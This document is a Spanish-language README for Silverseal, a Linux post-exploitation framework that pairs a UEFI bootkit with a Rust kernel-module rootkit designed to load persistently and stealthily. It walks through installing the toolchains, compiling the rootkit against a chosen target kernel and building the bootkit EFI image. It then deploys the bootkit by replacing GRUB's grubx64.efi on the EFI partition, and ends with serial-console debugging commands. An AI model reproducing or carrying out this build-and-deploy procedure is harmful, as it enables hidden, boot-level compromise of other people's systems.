
Framework de post-explotación para Linux con un bootkit UEFI que carga de forma persistente y sigilosa un rootkit de módulo de kernel basado en Rust en sistemas Linux modernos.

Silverseal es un framework de post-explotación para Linux que demuestra la capacidad de un bootkit UEFI para cargar de forma persistente y sigilosa un rootkit de módulo de kernel basado en Rust en sistemas Linux modernos. El proyecto incluye:

Instala los paquetes necesarios para las compilaciones de módulos externos de Rust-for-Linux, instala rustup si es necesario, cambia la cadena de herramientas predeterminada a stable, añade rust-src, instala bindgen-cli y advierte si el kernel en ejecución no expone CONFIG_RUST=y.
./scripts/install_dependencies.sh
[!IMPORTANT]
Si estás usando WSL, asegúrate de configurar WSL 2 e instalar Ubuntu. Este script compila un kernel WSL2 personalizado con Rust habilitado, prepara un VHDX de módulos y opcionalmente puede escribir una entrada en el .wslconfig de Windows que apunte WSL al kernel generado.
./scripts/wsl_setup.sh
El script instala automáticamente las dependencias de compilación de Ubuntu, clona el código fuente del kernel WSL2 de Microsoft correspondiente, habilita CONFIG_RUST, compila el kernel con LLVM y configura /lib/modules/<release>/build para compilaciones de módulos externos.
Para ver las opciones soportadas:
./scripts/wsl_setup.sh --help
Para compilar el rootkit contra el kernel objetivo deseado, necesitas ejecutar el siguiente script en tu máquina de compilación (ya sea WSL o una máquina Linux nativa):
./scripts/ubuntu_target_setup.sh <uname -r of your target kernel>
Este flujo instala los paquetes linux-headers-<kernel> y linux-lib-rust-<kernel> correspondientes, instala la cadena de herramientas Rust 1.82 empaquetada por Ubuntu utilizada por el flujo de kernel genérico, repara /usr/src/linux-headers-<kernel>/rust si ese enlace simbólico está roto, e imprime el comando make exacto a usar después.
Compila el rootkit con el sistema de compilación del kernel. No uses Cargo para la compilación del módulo real.
cd Silverseal/silverseal-rootkit
make
Los artefactos del módulo se colocan en silverseal-rootkit/target/ después de la compilación.
Compila el rootkit para un kernel objetivo genérico de Ubuntu desde WSL:
cd Silverseal/silverseal-rootkit
make clean
PATH=/usr/bin:/bin:$PATH \
RUST_LIB_SRC=/usr/src/rustc-1.82.0/library \
make RUST_MIN_TOOLCHAIN= \
KDIR=/usr/src/linux-headers-6.17.0-20-generic \
CC=x86_64-linux-gnu-gcc-13 \
RUSTC=rustc-1.82 \
RUSTDOC=rustdoc-1.82
El Makefile del módulo detecta automáticamente los objetivos /usr/src/linux-headers-* y pasa el cfg de compatibilidad de Rust a través de las variables de flags de Rust de Kbuild para que el esquema de metadatos module! más reciente de Ubuntu use authors en lugar de la clave author más antigua.
Después de la compilación, verifica que la versión del kernel objetivo se haya incrustado correctamente:
modinfo target/silverseal_rootkit.ko | grep vermagic
La compilación del bootkit requiere nasm en el PATH. El crate ya está configurado para apuntar a x86_64-unknown-uefi, y el script de compilación ensambla tanto asm/x64/lkm_loader.asm como asm/x64/lkm_stager.asm en blobs binarios planos incrustados en la imagen EFI.
cd Silverseal/silverseal-bootkit
cargo build --release
El binario EFI resultante se escribe en:
Silverseal/target/x86_64-unknown-uefi/release/silverseal-bootkit.efi
El script de despliegue actualmente espera un archivo llamado silverseal-bootkit.efi en la raíz del repositorio. Después de compilar el bootkit, copia el artefacto EFI allí y luego ejecuta el script de configuración desde la raíz del repositorio.
cd Silverseal
cp target/x86_64-unknown-uefi/release/silverseal-bootkit.efi ./silverseal-bootkit.efi
sudo ./scripts/setup_silverseal.sh
El script realiza un intercambio directo en la partición EFI:
/boot/efi/EFI/ubuntu/grubx64.efi a /boot/efi/EFI/ubuntu/grubx64.efi.original./silverseal-bootkit.efi a su lugar como /boot/efi/EFI/ubuntu/grubx64.efiPara eliminar Silverseal, restaura el binario GRUB original desde la copia de seguridad .original:
cd Silverseal
sudo ./scripts/restore_silverseal.sh
ls -la /dev/ttyS*
Puertos comunes: /dev/ttyS0 (COM1), /dev/ttyS1 (COM2)
minicom:sudo minicom -D /dev/ttyS0 -b 115200
# Or with `screen`:
sudo screen /dev/ttyS0 115200
# Or with `picocom`:
sudo picocom -b 115200 /dev/ttyS0
\\.\pipe\com_1)También puedes usar el script auxiliar, que reconecta continuamente PuTTY a \\.\pipe\com_1 a 115200 baudios:
powershell -ExecutionPolicy Bypass -File .\scripts\connect-vm.ps1